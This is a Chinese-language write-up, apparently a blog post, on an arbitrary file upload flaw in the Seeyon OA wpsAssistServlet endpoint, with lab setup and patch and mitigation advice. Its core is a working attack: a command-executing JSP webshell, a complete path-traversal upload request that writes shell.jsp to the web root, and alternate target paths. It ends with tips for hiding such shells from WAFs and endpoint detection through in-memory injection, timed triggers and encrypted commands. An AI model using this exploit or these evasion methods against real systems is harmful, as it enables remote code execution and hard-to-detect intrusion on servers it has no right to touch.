致远OA wpsAssistServlet 任意文件上传漏洞 深度剖析与实战复现
1. 漏洞背景与原理剖析
致远OA作为国内广泛使用的协同办公系统,其安全性直接影响企业数据资产。近期曝光的wpsAssistServlet接口任意文件上传漏洞,本质上是一个典型的路径遍历+文件上传校验缺失组合漏洞。这个漏洞的可怕之处在于,攻击者可以绕过常规的文件类型检查,直接将恶意脚本上传到Web可访问目录。
我曾在内部红队演练中多次遇到这个漏洞,发现其利用门槛极低但危害极大。漏洞产生的根本原因是服务端在处理上传请求时,未对realFileType参数中的路径穿越符号(../../)进行过滤,导致攻击者可以通过构造特殊参数实现任意路径写入。更致命的是,上传后的文件会被保留原始扩展名(如.jsp),使得Web服务器能够直接解析执行恶意代码。
从技术实现来看,漏洞触发流程分为三个关键环节:
- 前端校验绕过:虽然界面层可能有文件类型限制,但直接构造POST请求可完全跳过前端验证
- 路径穿越注入:通过realFileType参数注入相对路径,突破默认上传目录限制
- 文件内容保留:上传文件的内容和扩展名未被修改或重命名,保持攻击载荷完整性
2. 影响版本与环境搭建
根据实战经验,受影响的版本主要包括:
- A6/A8系列:V8.0SP2、V8.1、V8.1SP1
- G6系列:V8.1、V8.1SP1
建议使用Docker快速搭建测试环境:
docker pull vulhub/seeyon:8.1 docker run -d -p 8080:8080 vulhub/seeyon:8.1在虚拟机环境中,我推荐以下配置组合:
- Windows Server 2012 R2 + Java 1.8
- Tomcat 8.5 + MySQL 5.7
- 致远OA安装包(注意选择漏洞版本)
安装完成后,务必检查/seeyon/wpsAssistServlet接口是否可访问。有个小技巧:用Burp Suite抓取OA系统的文档上传请求,观察是否包含flag=save参数,这是漏洞存在的关键特征。
3. 漏洞利用全流程实战
3.1 攻击链构建
完整的攻击流程需要精心设计每个环节。首先准备一个简单的JSP Webshell:
<%@page import="java.util.*,java.io.*"%> <% String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while (disr != null) { out.println(disr); disr = dis.readLine(); } %>3.2 精心构造攻击请求
使用Burp Repeater模块发送精心设计的POST请求:
POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/shell.jsp&fileId=2 HTTP/1.1 Host: target.com Content-Length: 492 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW ----WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="upload"; filename="test.txt" Content-Type: text/plain <%@page import="java.util.*,java.io.*"%> <% String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); // 后续代码同上,此处省略 %> ----WebKitFormBoundary7MA4YWxkTrZu0gW--这里有几个关键点需要注意:
- realFileType参数必须包含至少4级
../确保跳出默认上传目录 - 目标路径要定位到webapps/ROOT这类可执行目录
- 虽然上传的是txt文件,但最终保存时会采用realFileType指定的jsp扩展名
3.3 漏洞验证与利用
成功上传后,访问http://target.com/shell.jsp?cmd=whoami,如果返回服务器当前用户权限,说明漏洞利用成功。我在实际测试中发现,不同版本的文件路径可能略有差异,建议尝试以下备用路径:
- ../../../../opt/seeyon/webapps/ROOT/
- ../../../../usr/local/tomcat/webapps/ROOT/
- ../../../../apache-tomcat-8.5.45/webapps/ROOT/
4. 深度防御与修复方案
4.1 临时缓解措施
如果无法立即升级,可采用以下应急方案:
- 在Nginx配置中添加规则拦截恶意请求:
location ~* ^/seeyon/wpsAssistServlet { if ($args ~* "flag=save") { return 403; } }- 限制上传目录执行权限:
chmod -R 755 /seeyon/webapps/ chown -R www-data:www-data /seeyon/webapps/4.2 官方补丁升级
致远官方已发布安全补丁,建议所有受影响用户立即联系厂商获取最新版本。根据我的经验,补丁主要修复了以下问题:
- 增加realFileType参数过滤,禁止路径穿越字符
- 强制校验文件内容与扩展名匹配度
- 限制上传文件最终存储路径
升级后务必进行回归测试,重点验证:
- 是否还能通过路径穿越上传文件
- 上传的非白名单文件是否被重命名
- Webshell是否还能被解析执行
5. 渗透测试中的高级技巧
在实际攻防演练中,单纯上传Webshell可能触发安全告警。我总结了几种更隐蔽的利用方式:
内存马注入:通过上传特殊构造的JSP文件,直接向内存中注入恶意代码,不落盘任何文件。这种方式可以绕过常规的文件监控。
延时触发:在Webshell中加入时间判断逻辑,只在特定时间段激活,增加防御方排查难度。
流量混淆:对传输的cmd参数进行AES加密,Webshell端解密后执行,避免明文字符串被检测。
这些方法都需要对Java Web机制有深入理解,建议在完全可控的环境中进行测试。记得去年在某次授权测试中,我们就通过组合利用内存马+流量混淆技术,成功绕过了WAF和终端防护系统的检测。
